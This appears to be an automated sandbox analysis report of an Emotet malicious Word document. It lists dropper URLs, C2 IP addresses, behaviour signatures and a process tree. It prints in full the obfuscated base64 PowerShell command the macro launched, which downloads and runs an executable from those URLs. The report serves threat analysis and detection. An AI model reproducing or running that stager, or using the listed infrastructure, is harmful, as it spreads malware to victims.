Analysis

  • max time kernel
    135s
  • max time network
    156s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    15/09/2020, 22:26

General

  • Target
    E1_1007f574ebe646725e167d5c3d77fa0babd16c2d8bd9a9199509f74d0de5674b_2020-09-14_19-47-00_DOC.doc
  • Size 155KB
  • Sample200915-7d45rwc526
  • SHA256 1007f574ebe646725e167d5c3d77fa0babd16c2d8bd9a9199509f74d0de5674b
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://kinotheque.com/wp-includes/os/

  • exe.dropper

    http://vandamebuilders.com/wp-includes/Ess/

  • exe.dropper

    http://raintoday.org/wp-admin/wm/

  • exe.dropper

    https://intenswel.com/wp-content/qM1/

  • exe.dropper

    https://himosaandnasa.com/lfnwz/um/

  • exe.dropper

    http://buygrowtogether.com/amfxn/G4/

  • exe.dropper

    https://xn--mgbao2hg.net/cgi-bin/1/

Extracted

Family
  • emotet

C2
  • 155.186.0.121:80

  • 51.38.124.206:80

  • 82.196.15.205:8080

  • 38.88.126.202:8080

  • 219.92.13.25:80

  • 111.67.77.202:8080

  • 95.9.180.128:80

  • 77.90.136.129:8080

  • 190.163.31.26:80

  • 74.136.144.133:80

  • 104.131.103.37:8080

  • 45.33.77.42:8080

  • 192.241.143.52:8080

  • 78.249.119.122:80

  • 177.74.228.34:80

  • 152.169.22.67:80

  • 92.24.50.153:80

  • 5.189.178.202:8080

  • 104.131.41.185:8080

  • 82.230.1.24:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\E1_1007f574ebe646725e167d5c3d77fa0babd16c2d8bd9a9199509f74d0de5674b_2020-09-14_19-47-00_DOC.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3836
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABaAGQAegB6AHcAdQB6AD0AKAAnAE4AawAnACsAJwBoAGMAJwArACgAJwB5ACcAKwAnADEAaAAnACkAKQA7ACYAKAAnAG4AJwArACcAZQB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUATgBWADoAdQBzAEUAcgBQAHIATwBmAEkATABlAFwATABJAEUANQBMAFkAQgBcAGcAdABZAHkAOAA2AGIAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIAZQBjAFQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABFAGMAYABVAFIAaQB0AHkAcABSAE8AVABvAEMAYABPAGwAIgAgAD0AIAAoACcAdABsACcAKwAnAHMAMQAnACsAKAAnADIALAAgAHQAbABzADEAMQAnACsAJwAsACcAKwAnACAAdAAnACkAKwAnAGwAcwAnACkAOwAkAEgAegBkADQAcwBnAG0AIAA9ACAAKAAoACcAUABoACcAKwAnADQAaAAnACkAKwAnAHEAMQAnACkAOwAkAEkAcwByAHUAaQB2AHAAPQAoACcASwB5ACcAKwAnAHYANAAnACsAKAAnAG8AJwArACcAcwB5ACcAKQApADsAJABaAHUAcAA0ADMAaQBjAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAFYAUwAnACsAJwBLAEwAJwArACgAJwBpACcAKwAnAGUANQBsAHkAJwApACsAKAAnAGIAVgAnACsAJwBTACcAKQArACgAJwBLACcAKwAnAEcAdAAnACkAKwAnAHkAeQAnACsAJwA4ACcAKwAoACcANgBiACcAKwAnAFYAUwBLACcAKQApAC4AIgByAEUAUABsAGAAQQBjAGUAIgAoACgAJwBWACcAKwAnAFMASwAnACkALAAnAFwAJwApACkAKwAkAEgAegBkADQAcwBnAG0AKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAFcAdQA3AGwAYgBxAF8APQAoACcATgBtACcAKwAnAHUAJwArACgAJwBiADEAJwArACcAYgA2ACcAKQApADsAJABCAHQAbgB5AGkAYgBuAD0AJgAoACcAbgBlAHcAJwArACcALQAnACsAJwBvAGIAJwArACcAagBlAGMAdAAnACkAIABOAEUAVAAuAHcARQBiAGMATABJAGUAbgBUADsAJABNAHYAMAByADMAMwB0AD0AKAAoACcAaAAnACsAJwB0AHQAcAA6AC8AJwApACsAJwAvAGsAJwArACgAJwBpAG4AJwArACcAbwAnACkAKwAoACcAdAAnACsAJwBoAGUAJwApACsAJwBxACcAKwAoACcAdQBlACcAKwAnAC4AYwAnACkAKwAoACcAbwAnACsAJwBtAC8AJwArACcAdwBwAC0AaQBuACcAKQArACcAYwBsACcAKwAoACcAdQBkACcAKwAnAGUAcwAnACkAKwAnAC8AJwArACcAbwAnACsAKAAnAHMAJwArACcALwAqACcAKQArACgAJwBoAHQAdABwADoALwAvACcAKwAnAHYAJwArACcAYQBuAGQAYQBtACcAKQArACgAJwBlACcAKwAnAGIAdQAnACkAKwAnAGkAbAAnACsAKAAnAGQAZQByAHMALgAnACsAJwBjACcAKQArACcAbwAnACsAKAAnAG0AJwArACcALwB3AHAAJwApACsAKAAnAC0AaQBuAGMAJwArACcAbAAnACsAJwB1AGQAZQBzAC8ARQBzAHMAJwApACsAKAAnAC8AKgAnACsAJwBoAHQAdABwADoAJwApACsAKAAnAC8ALwByACcAKwAnAGEAJwApACsAKAAnAGkAbgB0AG8AZAAnACsAJwBhACcAKQArACgAJwB5AC4AbwAnACsAJwByAGcALwB3AHAALQAnACsAJwBhAGQAJwApACsAKAAnAG0AaQAnACsAJwBuAC8AJwArACcAdwBtACcAKQArACgAJwAvACoAaAAnACsAJwB0AHQAJwApACsAKAAnAHAAJwArACcAcwA6ACcAKQArACgAJwAvACcAKwAnAC8AaQAnACkAKwAnAG4AJwArACgAJwB0AGUAbgBzAHcAJwArACcAZQBsACcAKQArACgAJwAuAGMAJwArACcAbwBtAC8AdwBwACcAKQArACcALQAnACsAKAAnAGMAbwBuAHQAJwArACcAZQBuAHQAJwArACcALwAnACkAKwAoACcAcQBNADEALwAqAGgAdAAnACsAJwB0AHAAcwAnACsAJwA6AC8AJwArACcALwBoAGkAbQBvACcAKQArACcAcwAnACsAKAAnAGEAJwArACcAYQBuAGQAbgBhAHMAJwArACcAYQAnACkAKwAoACcALgBjAG8AJwArACcAbQAnACkAKwAoACcALwBsACcAKwAnAGYAbgAnACsAJwB3AHoALwB1ACcAKQArACgAJwBtAC8AKgAnACsAJwBoAHQAdABwACcAKwAnADoAJwApACsAJwAvAC8AJwArACgAJwBiAHUAJwArACcAeQAnACkAKwAoACcAZwByAG8AJwArACcAdwB0AG8AZwBlAHQAaAAnACsAJwBlACcAKQArACgAJwByACcAKwAnAC4AYwBvACcAKQArACgAJwBtACcAKwAnAC8AYQBtAGYAeABuACcAKwAnAC8ARwA0AC8AJwArACcAKgAnACkAKwAnAGgAdAAnACsAKAAnAHQAJwArACcAcABzACcAKQArACcAOgAnACsAKAAnAC8ALwAnACsAJwB4AG4ALQAnACkAKwAnAC0AbQAnACsAKAAnAGcAYgAnACsAJwBhACcAKQArACgAJwBvACcAKwAnADIAJwArACcAaABnACcAKwAnAC4AbgBlAHQALwBjACcAKwAnAGcAaQAtAGIAaQAnACkAKwAoACcAbgAvADEAJwArACcALwAnACkAKQAuACIAcwBwAGAATABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABIAGYAbQBnAGYAXwBxAD0AKAAnAEMAJwArACgAJwB1ADQAcABjACcAKwAnADgANAAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEgAMABrAGkAcAB1AHQAIABpAG4AIAAkAE0AdgAwAHIAMwAzAHQAKQB7AHQAcgB5AHsAJABCAHQAbgB5AGkAYgBuAC4AIgBkAG8AVwBOAGAAbABPAEEAYABEAEYASQBgAGwARQAiACgAJABIADAAawBpAHAAdQB0ACwAIAAkAFoAdQBwADQAMwBpAGMAKQA7ACQAWQAzADkAeAB1AHAAOAA9ACgAJwBOACcAKwAnAGcAJwArACgAJwBiACcAKwAnADgAYgBuAGIAJwApACkAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQAWgB1AHAANAAzAGkAYwApAC4AIgBMAGUAbgBgAGcAVABIACIAIAAtAGcAZQAgADIANwA0ADIAMwApACAAewAuACgAJwBJAG4AdgBvACcAKwAnAGsAZQAtAEkAdAAnACsAJwBlAG0AJwApACgAJABaAHUAcAA0ADMAaQBjACkAOwAkAE4AdABqAGcAcgBrADgAPQAoACcARwAnACsAKAAnAGgAcgAnACsAJwB4AHYAJwArACcAaQB3ACcAKQApADsAYgByAGUAYQBrADsAJABZAGQAOQBlAGkAdAA3AD0AKAAnAEsAeQAnACsAKAAnAF8AOQB1ACcAKwAnAHcAJwApACsAJwAyACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATAB3AHUAbwB1AHAAcgA9ACgAJwBBACcAKwAoACcAdABsAGkAJwArACcAcABrADAAJwApACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2880
    • C:\Users\Admin\Lie5lyb\Gtyy86b\Ph4hq1.exe
      "C:\Users\Admin\Lie5lyb\Gtyy86b\Ph4hq1.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1084
      • C:\Windows\SysWOW64\NapiNSP\rastlsext.exe
        "C:\Windows\SysWOW64\NapiNSP\rastlsext.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1180

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1084-22-0x0000000002100000-0x0000000002110000-memory.dmp

        memory/1084-21-0x00000000029D0000-0x00000000029E2000-memory.dmp

        memory/1180-26-0x0000000002120000-0x0000000002130000-memory.dmp

        memory/1180-25-0x0000000000760000-0x0000000000772000-memory.dmp

        memory/2880-17-0x0000026725D70000-0x0000026725D71000-memory.dmp

        memory/2880-16-0x0000026725A40000-0x0000026725A41000-memory.dmp

        memory/2880-15-0x00007FF8783A0000-0x00007FF878D8C000-memory.dmp

        memory/3836-0-0x00007FF87FFD0000-0x00007FF880696000-memory.dmp

        memory/3836-14-0x000001CA5C460000-0x000001CA5C471000-memory.dmp

        memory/3836-13-0x000001CA5C460000-0x000001CA5C471000-memory.dmp

        memory/3836-12-0x000001CA58AC7000-0x000001CA58AD0000-memory.dmp

        memory/3836-11-0x000001CA58C18000-0x000001CA58C29000-memory.dmp

        memory/3836-10-0x000001CA58C18000-0x000001CA58C29000-memory.dmp

        memory/3836-9-0x000001CA58C18000-0x000001CA58C29000-memory.dmp

        memory/3836-1-0x000001CA5A6F0000-0x000001CA5A6F4000-memory.dmp